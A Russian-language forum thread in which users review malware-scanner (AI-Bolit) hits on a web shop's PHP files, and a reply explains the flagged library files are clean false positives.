9829192.ru/includes/external/smarty/plugins/function.fetch.php
9829192.ru/includes/external/phpmailer/class.smtp.php
9829192.ru/includes/external/phpmailer/class.phpmailer.php
9829192.ru/includes/classes/http_client.php
9829192.ru/includes/classes/nusoap/nusoap.php
9829192.ru/inc/dectobase64.inc.php
9829192.ru/inc/base64todec.inc.php
9829192.ru/inc/changedataout.inc.php
9829192.ru/inc/changedatain.inc.php
9829192.ru/external/smarty/plugins_vam/outputfilter.note.php
9829192.ru/excel/PEAR/Remote.php
9829192.ru/excel/PEAR/REST.php
9829192.ru/excel/PEAR/Downloader.php
9829192.ru/excel/PEAR/Config.php
9829192.ru/admin/order_editor/http_client.php
9829192.ru/admin/backup.php
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/python.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/php.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/inc/zencart.auth.php
9829192.ru/admin/includes/javascript/tiny_mce/plugins/visualblocks/css/visualblocks.css
9829192.ru/admin/includes/javascript/engines/Jare/Typograph/Tool.php
9829192.ru/pay2pay.php
9829192.ru/paymaster.php

 

а я пока попробую поставит айболит

Ссылка на сообщение
Поделиться на другие сайты

ну если верить айболиту:

 

Найдены сигнатуры javascript вирусов:


/home/a9829192r/data/www/9829192.ru/setup/admin/includes/classes/pclzip.lib.php
pted/decrypted with 'crypt'. // While decrypted, zip has training 0 bytes |if (0) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FOR


/home/a9829192r/data/www/9829192.ru/admin/includes/classes/pclzip.lib.php

pted/decrypted with 'crypt'. // While decrypted, zip has training 0 bytes |if (0) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FOR

 

То девственно чистая демо версия вам шопа вся в вирусах. 

Айболит выдал лог длинющий длинющий

Ссылка на сообщение
Поделиться на другие сайты

Нет, это всё чистые файлы, просто там используются эти функции.

По поиску обычно видно кусок кода вируса или shell'a, он не похож на обычный php код, а обычно закодирован.

Ссылка на сообщение
Поделиться на другие сайты

×
×
  • Создать...